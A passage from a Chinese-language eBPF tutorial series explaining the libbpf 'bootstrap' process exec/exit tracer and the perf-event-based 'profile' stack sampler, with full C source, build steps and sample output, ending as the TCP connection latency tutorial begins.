- BTF 允许 eBPF 程序访问内核数据结构的详细类型信息,而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核,从而实现跨内核版本兼容。
- 通过使用 BPF CO-RE(Compile Once, Run Everywhere)技术,eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息,进而生成可以在不同内核版本上运行的 eBPF 程序。
结合 libbpf 和 BTF,eBPF 程序可以在各种不同版本的内核上运行,而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性,降低了开发和维护的难度。
什么是 bootstrap
Bootstrap 是一个使用 libbpf 的完整应用,它利用 eBPF 程序来跟踪内核中的 exec() 系统调用(通过 SEC("tp/sched/sched_process_exec") handle_exec BPF 程序),这主要对应于新进程的创建(不包括 fork() 部分)。此外,它还跟踪进程的 exit() 系统调用(通过 SEC("tp/sched/sched_process_exit") handle_exit BPF 程序),以了解每个进程何时退出。
这两个 BPF 程序共同工作,允许捕获关于新进程的有趣信息,例如二进制文件的文件名,以及测量进程的生命周期,并在进程结束时收集有趣的统计信息,例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。
Bootstrap 还使用 argp API(libc 的一部分)进行命令行参数解析,使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性,让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现,但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性,不过也带来了不少额外的复杂度。
Bootstrap
Bootstrap 分为两个部分:内核态和用户态。内核态部分是一个 eBPF 程序,它跟踪 exec() 和 exit() 系统调用。用户态部分是一个 C 语言程序,它使用 libbpf 库来加载和运行内核态程序,并处理从内核态程序收集的数据。
内核态 eBPF 程序 bootstrap.bpf.c
// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2020 Facebook */
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "bootstrap.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, u64);
} exec_start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
const volatile unsigned long long min_duration_ns = 0;
SEC("tp/sched/sched_process_exec")
int handle_exec(struct trace_event_raw_sched_process_exec *ctx)
{
struct task_struct *task;
unsigned fname_off;
struct event *e;
pid_t pid;
u64 ts;
/* remember time exec() was executed for this PID */
pid = bpf_get_current_pid_tgid() >> 32;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY);
/* don't emit exec events when minimum duration is specified */
if (min_duration_ns)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e->exit_event = false;
e->pid = pid;
e->ppid = BPF_CORE_READ(task, real_parent, tgid);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
fname_off = ctx->__data_loc_filename & 0xFFFF;
bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off);
/* successfully submit it to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
SEC("tp/sched/sched_process_exit")
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
struct task_struct *task;
struct event *e;
pid_t pid, tid;
u64 id, ts, *start_ts, duration_ns = 0;
/* get PID and TID of exiting thread/process */
id = bpf_get_current_pid_tgid();
pid = id >> 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
/* if we recorded start of the process, calculate lifetime duration */
start_ts = bpf_map_lookup_elem(&exec_start, &pid);
if (start_ts)
duration_ns = bpf_ktime_get_ns() - *start_ts;
else if (min_duration_ns)
return 0;
bpf_map_delete_elem(&exec_start, &pid);
/* if process didn't live long enough, return early */
if (min_duration_ns && duration_ns < min_duration_ns)
return 0;
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e->exit_event = true;
e->duration_ns = duration_ns;
e->pid = pid;
e->ppid = BPF_CORE_READ(task, real_parent, tgid);
e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
这段代码是一个内核态 eBPF 程序(bootstrap.bpf.c),主要用于跟踪 exec() 和 exit() 系统调用。它通过 eBPF 程序捕获进程的创建和退出事件,并将相关信息发送到用户态程序进行处理。下面是对代码的详细解释。
首先,我们引入所需的头文件,定义 eBPF 程序的许可证以及两个 eBPF maps:exec_start 和 rb。exec_start 是一个哈希类型的 eBPF map,用于存储进程开始执行时的时间戳。rb 是一个环形缓冲区类型的 eBPF map,用于存储捕获的事件数据,并将其发送到用户态程序。
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "bootstrap.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 8192);
__type(key, pid_t);
__type(value, u64);
} exec_start SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} rb SEC(".maps");
const volatile unsigned long long min_duration_ns = 0;
接下来,我们定义了一个名为 handle_exec 的 eBPF 程序,它会在进程执行 exec() 系统调用时触发。首先,我们从当前进程中获取 PID,记录进程开始执行的时间戳,然后将其存储在 exec_start map 中。
SEC("tp/sched/sched_process_exec")
int handle_exec(struct trace_event_raw_sched_process_exec *ctx)
{
// ...
pid = bpf_get_current_pid_tgid() >> 32;
ts = bpf_ktime_get_ns();
bpf_map_update_elem(&exec_start, &pid, &ts, BPF_ANY);
// ...
}
然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名等。之后,我们将这些数据发送到用户态程序进行处理。
// reserve sample from BPF ringbuf
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
// fill out the sample with data
task = (struct task_struct *)bpf_get_current_task();
e->exit_event = false;
e->pid = pid;
e->ppid = BPF_CORE_READ(task, real_parent, tgid);
bpf_get_current_comm(&e->comm, sizeof(e->comm));
fname_off = ctx->__data_loc_filename & 0xFFFF;
bpf_probe_read_str(&e->filename, sizeof(e->filename), (void *)ctx + fname_off);
// successfully submit it to user-space for post-processing
bpf_ringbuf_submit(e, 0);
return 0;
最后,我们定义了一个名为 handle_exit 的 eBPF 程序,它会在进程执行 exit() 系统调用时触发。首先,我们从当前进程中获取 PID 和 TID(线程 ID)。如果 PID 和 TID 不相等,说明这是一个线程退出,我们将忽略此事件。
SEC("tp/sched/sched_process_exit")
int handle_exit(struct trace_event_raw_sched_process_template* ctx)
{
// ...
id = bpf_get_current_pid_tgid();
pid = id >> 32;
tid = (u32)id;
/* ignore thread exits */
if (pid != tid)
return 0;
// ...
}
接着,我们查找之前存储在 exec_start map 中的进程开始执行的时间戳。如果找到了时间戳,我们将计算进程的生命周期(持续时间),然后从 exec_start map 中删除该记录。如果未找到时间戳且指定了最小持续时间,则直接返回。
// if we recorded start of the process, calculate lifetime duration
start_ts = bpf_map_lookup_elem(&exec_start, &pid);
if (start_ts)
duration_ns = bpf_ktime_get_ns() - *start_ts;
else if (min_duration_ns)
return 0;
bpf_map_delete_elem(&exec_start, &pid);
// if process didn't live long enough, return early
if (min_duration_ns && duration_ns < min_duration_ns)
return 0;
然后,我们从环形缓冲区 map rb 中预留一个事件结构,并填充相关数据,如进程 ID、父进程 ID、进程名、进程持续时间等。最后,我们将这些数据发送到用户态程序进行处理。
/* reserve sample from BPF ringbuf */
e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0);
if (!e)
return 0;
/* fill out the sample with data */
task = (struct task_struct *)bpf_get_current_task();
e->exit_event = true;
e->duration_ns = duration_ns;
e->pid = pid;
e->ppid = BPF_CORE_READ(task, real_parent, tgid);
e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff;
bpf_get_current_comm(&e->comm, sizeof(e->comm));
/* send data to user-space for post-processing */
bpf_ringbuf_submit(e, 0);
return 0;
}
这样,当进程执行 exec() 或 exit() 系统调用时,我们的 eBPF 程序会捕获相应的事件,并将详细信息发送到用户态程序进行后续处理。这使得我们可以轻松地监控进程的创建和退出,并获取有关进程的详细信息。
除此之外,在 bootstrap.h 中,我们还定义了和用户态交互的数据结构:
/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */
/* Copyright (c) 2020 Facebook */
#ifndef __BOOTSTRAP_H
#define __BOOTSTRAP_H
#define TASK_COMM_LEN 16
#define MAX_FILENAME_LEN 127
struct event {
int pid;
int ppid;
unsigned exit_code;
unsigned long long duration_ns;
char comm[TASK_COMM_LEN];
char filename[MAX_FILENAME_LEN];
bool exit_event;
};
#endif /* __BOOTSTRAP_H */
用户态,bootstrap.c
// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
/* Copyright (c) 2020 Facebook */
#include <argp.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <sys/resource.h>
#include <bpf/libbpf.h>
#include "bootstrap.h"
#include "bootstrap.skel.h"
static struct env {
bool verbose;
long min_duration_ms;
} env;
const char *argp_program_version = "bootstrap 0.0";
const char *argp_program_bug_address = "<bpf@vger.kernel.org>";
const char argp_program_doc[] =
"BPF bootstrap demo application.\n"
"\n"
"It traces process start and exits and shows associated \n"
"information (filename, process duration, PID and PPID, etc).\n"
"\n"
"USAGE: ./bootstrap [-d <min-duration-ms>] [-v]\n";
static const struct argp_option opts[] = {
{ "verbose", 'v', NULL, 0, "Verbose debug output" },
{ "duration", 'd', "DURATION-MS", 0, "Minimum process duration (ms) to report" },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
switch (key) {
case 'v':
env.verbose = true;
break;
case 'd':
errno = 0;
env.min_duration_ms = strtol(arg, NULL, 10);
if (errno || env.min_duration_ms <= 0) {
fprintf(stderr, "Invalid duration: %s\n", arg);
argp_usage(state);
}
break;
case ARGP_KEY_ARG:
argp_usage(state);
break;
default:
return ARGP_ERR_UNKNOWN;
}
return 0;
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args)
{
if (level == LIBBPF_DEBUG && !env.verbose)
return 0;
return vfprintf(stderr, format, args);
}
static volatile bool exiting = false;
static void sig_handler(int sig)
{
exiting = true;
}
static int handle_event(void *ctx, void *data, size_t data_sz)
{
const struct event *e = data;
struct tm *tm;
char ts[32];
time_t t;
time(&t);
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
if (e->exit_event) {
printf("%-8s %-5s %-16s %-7d %-7d [%u]",
ts, "EXIT", e->comm, e->pid, e->ppid, e->exit_code);
if (e->duration_ns)
printf(" (%llums)", e->duration_ns / 1000000);
printf("\n");
} else {
printf("%-8s %-5s %-16s %-7d %-7d %s\n",
ts, "EXEC", e->comm, e->pid, e->ppid, e->filename);
}
return 0;
}
int main(int argc, char **argv)
{
struct ring_buffer *rb = NULL;
struct bootstrap_bpf *skel;
int err;
/* Parse command line arguments */
err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
if (err)
return err;
/* Set up libbpf errors and debug info callback */
libbpf_set_print(libbpf_print_fn);
/* Cleaner handling of Ctrl-C */
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
/* Load and verify BPF application */
skel = bootstrap_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1;
}
/* Parameterize BPF code with minimum duration parameter */
skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL;
/* Load & verify BPF programs */
err = bootstrap_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
/* Attach tracepoints */
err = bootstrap_bpf__attach(skel);
if (err) {
fprintf(stderr, "Failed to attach BPF skeleton\n");
goto cleanup;
}
/* Set up ring buffer polling */
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
/* Process events */
printf("%-8s %-5s %-16s %-7s %-7s %s\n",
"TIME", "EVENT", "COMM", "PID", "PPID", "FILENAME/EXIT CODE");
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
/* Ctrl-C will cause -EINTR */
if (err == -EINTR) {
err = 0;
break;
}
if (err < 0) {
printf("Error polling perf buffer: %d\n", err);
break;
}
}
cleanup:
/* Clean up */
ring_buffer__free(rb);
bootstrap_bpf__destroy(skel);
return err < 0 ? -err : 0;
}
这个用户态程序主要用于加载、验证、附加 eBPF 程序,以及接收 eBPF 程序收集的事件数据,并将其打印出来。我们将分析一些关键部分。
首先,我们定义了一个 env 结构,用于存储命令行参数:
static struct env {
bool verbose;
long min_duration_ms;
} env;
接下来,我们使用 argp 库来解析命令行参数:
static const struct argp_option opts[] = {
{ "verbose", 'v', NULL, 0, "Verbose debug output" },
{ "duration", 'd', "DURATION-MS", 0, "Minimum process duration (ms) to report" },
{},
};
static error_t parse_arg(int key, char *arg, struct argp_state *state)
{
// ...
}
static const struct argp argp = {
.options = opts,
.parser = parse_arg,
.doc = argp_program_doc,
};
main() 函数中,首先解析命令行参数,然后设置 libbpf 的打印回调函数 libbpf_print_fn,以便在需要时输出调试信息:
err = argp_parse(&argp, argc, argv, 0, NULL, NULL);
if (err)
return err;
libbpf_set_print(libbpf_print_fn);
接下来,我们打开 eBPF 脚手架(skeleton)文件,将最小持续时间参数传递给 eBPF 程序,并加载和附加 eBPF 程序:
skel = bootstrap_bpf__open();
if (!skel) {
fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1;
}
skel->rodata->min_duration_ns = env.min_duration_ms * 1000000ULL;
err = bootstrap_bpf__load(skel);
if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup;
}
err = bootstrap_bpf__attach(skel);
if (err) {
fprintf(stderr, "Failed to attach BPF skeleton\n");
goto cleanup;
}
然后,我们创建一个环形缓冲区(ring buffer),用于接收 eBPF 程序发送的事件数据:
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb), handle_event, NULL, NULL);
if (!rb) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup;
}
handle_event() 函数会处理从 eBPF 程序收到的事件。根据事件类型(进程执行或退出),它会提取并打印事件信息,如时间戳、进程名、进程 ID、父进程 ID、文件名或退出代码等。
最后,我们使用 ring_buffer__poll() 函数轮询环形缓冲区,处理收到的事件数据:
while (!exiting) {
err = ring_buffer__poll(rb, 100 /* timeout, ms */);
// ...
}
当程序收到 SIGINT 或 SIGTERM 信号时,它会最后完成清理、退出操作,关闭和卸载 eBPF 程序:
cleanup:
/* Clean up */
ring_buffer__free(rb);
bootstrap_bpf__destroy(skel);
return err < 0 ? -err : 0;
}
安装依赖
构建示例需要 clang、libelf 和 zlib。包名在不同的发行版中可能会有所不同。
在 Ubuntu/Debian 上,你需要执行以下命令:
sudo apt install clang libelf1 libelf-dev zlib1g-dev
在 CentOS/Fedora 上,你需要执行以下命令:
sudo dnf install clang elfutils-libelf elfutils-libelf-devel zlib-devel
编译运行
编译运行上述代码:
$ git submodule update --init --recursive
$ make
BPF .output/bootstrap.bpf.o
GEN-SKEL .output/bootstrap.skel.h
CC .output/bootstrap.o
BINARY bootstrap
$ sudo ./bootstrap
[sudo] password for yunwei:
TIME EVENT COMM PID PPID FILENAME/EXIT CODE
03:16:41 EXEC sh 110688 80168 /bin/sh
03:16:41 EXEC which 110689 110688 /usr/bin/which
03:16:41 EXIT which 110689 110688 [0] (0ms)
03:16:41 EXIT sh 110688 80168 [0] (0ms)
03:16:41 EXEC sh 110690 80168 /bin/sh
03:16:41 EXEC ps 110691 110690 /usr/bin/ps
03:16:41 EXIT ps 110691 110690 [0] (49ms)
03:16:41 EXIT sh 110690 80168 [0] (51ms)
总结
通过这个实例,我们了解了如何将 eBPF 程序与用户态程序结合使用。这种结合为开发者提供了一个强大的工具集,可以实现跨内核和用户空间的高效数据收集和处理。通过使用 eBPF 和 libbpf,您可以构建更高效、可扩展和安全的监控和性能分析工具。
如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
eBPF 入门实践教程十二:使用 eBPF 程序 profile 进行性能分析
本教程将指导您使用 libbpf 和 eBPF 程序进行性能分析。我们将利用内核中的 perf 机制,学习如何捕获函数的执行时间以及如何查看性能数据。
libbpf 是一个用于与 eBPF 交互的 C 库。它提供了创建、加载和使用 eBPF 程序所需的基本功能。本教程中,我们将主要使用 libbpf 完成开发工作。perf 是 Linux 内核中的性能分析工具,允许用户测量和分析内核及用户空间程序的性能,以及获取对应的调用堆栈。它利用内核中的硬件计数器和软件事件来收集性能数据。
eBPF 工具:profile 性能分析示例
profile 工具基于 eBPF 实现,利用 Linux 内核中的 perf 事件进行性能分析。profile 工具会定期对每个处理器进行采样,以便捕获内核函数和用户空间函数的执行。它可以显示栈回溯的以下信息:
- 地址:函数调用的内存地址
- 符号:函数名称
- 文件名:源代码文件名称
- 行号:源代码中的行号
这些信息有助于开发人员定位性能瓶颈和优化代码。更进一步,可以通过这些对应的信息生成火焰图,以便更直观的查看性能数据。
在本示例中,可以通过 libbpf 库编译运行它(以 Ubuntu/Debian 为例):
NOTE: 首先需要安装 cargo 才能编译得到 profile, 安装方法可以参考Cargo 手册
$ git submodule update --init --recursive
$ sudo apt install clang libelf1 libelf-dev zlib1g-dev
$ make
$ sudo ./profile
COMM: chronyd (pid=156) @ CPU 1
Kernel:
0 [<ffffffff81ee9f56>] _raw_spin_lock_irqsave+0x16
1 [<ffffffff811527b4>] remove_wait_queue+0x14
2 [<ffffffff8132611d>] poll_freewait+0x3d
3 [<ffffffff81326d3f>] do_select+0x7bf
4 [<ffffffff81327af2>] core_sys_select+0x182
5 [<ffffffff81327f3a>] __x64_sys_pselect6+0xea
6 [<ffffffff81ed9e38>] do_syscall_64+0x38
7 [<ffffffff82000099>] entry_SYSCALL_64_after_hwframe+0x61
Userspace:
0 [<00007fab187bfe09>]
1 [<000000000ee6ae98>]
COMM: profile (pid=9843) @ CPU 6
No Kernel Stack
Userspace:
0 [<0000556deb068ac8>]
1 [<0000556dec34cad0>]
实现原理
profile 工具由两个部分组成,内核态中的 eBPF 程序和用户态中的 profile 符号处理程序。profile 符号处理程序负责加载 eBPF 程序,以及处理 eBPF 程序输出的数据。
内核态部分
内核态 eBPF 程序的实现逻辑主要是借助 perf event,对程序的堆栈进行定时采样,从而捕获程序的执行流程。
// SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause
/* Copyright (c) 2022 Meta Platforms, Inc. */
#include "vmlinux.h"
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>
#include "profile.h"
char LICENSE[] SEC("license") = "Dual BSD/GPL";
struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 256 * 1024);
} events SEC(".maps");
SEC("perf_event")
int profile(void *ctx)
{
int pid = bpf_get_current_pid_tgid() >> 32;
int cpu_id = bpf_get_smp_processor_id();
struct stacktrace_event *event;
int cp;
event = bpf_ringbuf_reserve(&events, sizeof(*event), 0);
if (!event)
return 1;
event->pid = pid;
event->cpu_id = cpu_id;
if (bpf_get_current_comm(event->comm, sizeof(event->comm)))
event->comm[0] = 0;
event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0);
event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK);
bpf_ringbuf_submit(event, 0);
return 0;
}
接下来,我们将重点讲解内核态代码的关键部分。
-
定义 eBPF maps
events:struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024); } events SEC(".maps");这里定义了一个类型为
BPF_MAP_TYPE_RINGBUF的 eBPF maps 。Ring Buffer 是一种高性能的循环缓冲区,用于在内核和用户空间之间传输数据。max_entries设置了 Ring Buffer 的最大大小。 -
定义
perf_eventeBPF 程序:SEC("perf_event") int profile(void *ctx)这里定义了一个名为
profile的 eBPF 程序,它将在 perf 事件触发时执行。 -
获取进程 ID 和 CPU ID:
int pid = bpf_get_current_pid_tgid() >> 32; int cpu_id = bpf_get_smp_processor_id();bpf_get_current_pid_tgid()函数返回当前进程的 PID 和 TID,通过右移 32 位,我们得到 PID。bpf_get_smp_processor_id()函数返回当前 CPU 的 ID。 -
预留 Ring Buffer 空间:
event = bpf_ringbuf_reserve(&events, sizeof(*event), 0); if (!event) return 1;通过
bpf_ringbuf_reserve()函数预留 Ring Buffer 空间,用于存储采集的栈信息。若预留失败,返回错误. -
获取当前进程名:
if (bpf_get_current_comm(event->comm, sizeof(event->comm))) event->comm[0] = 0;使用
bpf_get_current_comm()函数获取当前进程名并将其存储到event->comm。 -
获取内核栈信息:
event->kstack_sz = bpf_get_stack(ctx, event->kstack, sizeof(event->kstack), 0);使用
bpf_get_stack()函数获取内核栈信息。将结果存储在event->kstack,并将其大小存储在event->kstack_sz。 -
获取用户空间栈信息:
event->ustack_sz = bpf_get_stack(ctx, event->ustack, sizeof(event->ustack), BPF_F_USER_STACK);同样使用
bpf_get_stack()函数,但传递BPF_F_USER_STACK标志以获取用户空间栈信息。将结果存储在event->ustack,并将其大小存储在event->ustack_sz。 -
将事件提交到 Ring Buffer:
bpf_ringbuf_submit(event, 0);最后,使用
bpf_ringbuf_submit()函数将事件提交到 Ring Buffer,以便用户空间程序可以读取和处理。这个内核态 eBPF 程序通过定期采样程序的内核栈和用户空间栈来捕获程序的执行流程。这些数据将存储在 Ring Buffer 中,以便用户态的
profile程序能读取。
用户态部分
这段代码主要负责为每个在线 CPU 设置 perf event 并附加 eBPF 程序:
static long perf_event_open(struct perf_event_attr *hw_event, pid_t pid,
int cpu, int group_fd, unsigned long flags)
{
int ret;
ret = syscall(__NR_perf_event_open, hw_event, pid, cpu, group_fd, flags);
return ret;
}
int main(){
...
for (cpu = 0; cpu < num_cpus; cpu++) {
/* skip offline/not present CPUs */
if (cpu >= num_online_cpus || !online_mask[cpu])
continue;
/* Set up performance monitoring on a CPU/Core */
pefd = perf_event_open(&attr, pid, cpu, -1, PERF_FLAG_FD_CLOEXEC);
if (pefd < 0) {
fprintf(stderr, "Fail to set up performance monitor on a CPU/Core\n");
err = -1;
goto cleanup;
}
pefds[cpu] = pefd;
/* Attach a BPF program on a CPU */
links[cpu] = bpf_program__attach_perf_event(skel->progs.profile, pefd);
if (!links[cpu]) {
err = -1;
goto cleanup;
}
}
...
}
perf_event_open 这个函数是一个对 perf_event_open 系统调用的封装。它接收一个 perf_event_attr 结构体指针,用于指定 perf event 的类型和属性。pid 参数用于指定要监控的进程 ID(-1 表示监控所有进程),cpu 参数用于指定要监控的 CPU。group_fd 参数用于将 perf event 分组,这里我们使用 -1,表示不需要分组。flags 参数用于设置一些标志,这里我们使用 PERF_FLAG_FD_CLOEXEC 以确保在执行 exec 系列系统调用时关闭文件描述符。
在 main 函数中:
for (cpu = 0; cpu < num_cpus; cpu++) {
// ...
}
这个循环针对每个在线 CPU 设置 perf event 并附加 eBPF 程序。首先,它会检查当前 CPU 是否在线,如果不在线则跳过。然后,使用 perf_event_open() 函数为当前 CPU 设置 perf event,并将返回的文件描述符存储在 pefds 数组中。最后,使用 bpf_program__attach_perf_event() 函数将 eBPF 程序附加到 perf event。links 数组用于存储每个 CPU 上的 BPF 链接,以便在程序结束时销毁它们。
通过这种方式,用户态程序为每个在线 CPU 设置 perf event,并将 eBPF 程序附加到这些 perf event 上,从而实现对系统中所有在线 CPU 的监控。
以下这两个函数分别用于显示栈回溯和处理从 ring buffer 接收到的事件:
static void show_stack_trace(__u64 *stack, int stack_sz, pid_t pid)
{
const struct blazesym_result *result;
const struct blazesym_csym *sym;
sym_src_cfg src;
int i, j;
if (pid) {
src.src_type = SRC_T_PROCESS;
src.params.process.pid = pid;
} else {
src.src_type = SRC_T_KERNEL;
src.params.kernel.kallsyms = NULL;
src.params.kernel.kernel_image = NULL;
}
result = blazesym_symbolize(symbolizer, &src, 1, (const uint64_t *)stack, stack_sz);
for (i = 0; i < stack_sz; i++) {
if (!result || result->size <= i || !result->entries[i].size) {
printf(" %d [<%016llx>]\n", i, stack[i]);
continue;
}
if (result->entries[i].size == 1) {
sym = &result->entries[i].syms[0];
if (sym->path && sym->path[0]) {
printf(" %d [<%016llx>] %s+0x%llx %s:%ld\n",
i, stack[i], sym->symbol,
stack[i] - sym->start_address,
sym->path, sym->line_no);
} else {
printf(" %d [<%016llx>] %s+0x%llx\n",
i, stack[i], sym->symbol,
stack[i] - sym->start_address);
}
continue;
}
printf(" %d [<%016llx>]\n", i, stack[i]);
for (j = 0; j < result->entries[i].size; j++) {
sym = &result->entries[i].syms[j];
if (sym->path && sym->path[0]) {
printf(" %s+0x%llx %s:%ld\n",
sym->symbol, stack[i] - sym->start_address,
sym->path, sym->line_no);
} else {
printf(" %s+0x%llx\n", sym->symbol,
stack[i] - sym->start_address);
}
}
}
blazesym_result_free(result);
}
/* Receive events from the ring buffer. */
static int event_handler(void *_ctx, void *data, size_t size)
{
struct stacktrace_event *event = data;
if (event->kstack_sz <= 0 && event->ustack_sz <= 0)
return 1;
printf("COMM: %s (pid=%d) @ CPU %d\n", event->comm, event->pid, event->cpu_id);
if (event->kstack_sz > 0) {
printf("Kernel:\n");
show_stack_trace(event->kstack, event->kstack_sz / sizeof(__u64), 0);
} else {
printf("No Kernel Stack\n");
}
if (event->ustack_sz > 0) {
printf("Userspace:\n");
show_stack_trace(event->ustack, event->ustack_sz / sizeof(__u64), event->pid);
} else {
printf("No Userspace Stack\n");
}
printf("\n");
return 0;
}
show_stack_trace() 函数用于显示内核或用户空间的栈回溯。它接收一个 stack 参数,是一个指向内核或用户空间栈的指针,stack_sz 参数表示栈的大小,pid 参数表示要显示的进程的 ID(当显示内核栈时,设置为 0)。函数中首先根据 pid 参数确定栈的来源(内核或用户空间),然后调用 blazesym_symbolize() 函数将栈中的地址解析为符号名和源代码位置。最后,遍历解析结果,输出符号名和源代码位置信息。
event_handler() 函数用于处理从 ring buffer 接收到的事件。它接收一个 data 参数,指向 ring buffer 中的数据,size 参数表示数据的大小。函数首先将 data 指针转换为 stacktrace_event 结构体指针,然后检查内核和用户空间栈的大小。如果栈为空,则直接返回。接下来,函数输出进程名称、进程 ID 和 CPU ID 信息。然后分别显示内核栈和用户空间栈的回溯。调用 show_stack_trace() 函数时,分别传入内核栈和用户空间栈的地址、大小和进程 ID。
这两个函数作为 eBPF profile 工具的一部分,用于显示和处理 eBPF 程序收集到的栈回溯信息,帮助用户了解程序的运行情况和性能瓶颈。
总结
通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 程序进行性能分析。在这个过程中,我们详细讲解了如何创建 eBPF 程序,监控进程的性能,并从 ring buffer 中获取数据以分析栈回溯。我们还学习了如何使用 perf_event_open() 函数设置性能监控,并将 BPF 程序附加到性能事件上。在本教程中,我们还展示了如何编写 eBPF 程序来捕获进程的内核和用户空间栈信息,进而分析程序性能瓶颈。通过这个例子,您可以了解到 eBPF 在性能分析方面的强大功能。
如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。
接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术,希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。
eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据
eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。
背景
在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层,通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点,因此在网络传输层协议中,TCP 的应用广泛程度超过了 UDP。然而,TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUIC(Quick UDP Internet Connections,快速 UDP 网络连接)。
分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。
tcpconnlat 工具概述
tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 connect() 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。
TCP 连接原理
TCP 连接的建立过程,常被称为“三次握手”(Three-way Handshake)。以下是整个过程的步骤:
- 客户端向服务器发送 SYN 包:客户端通过
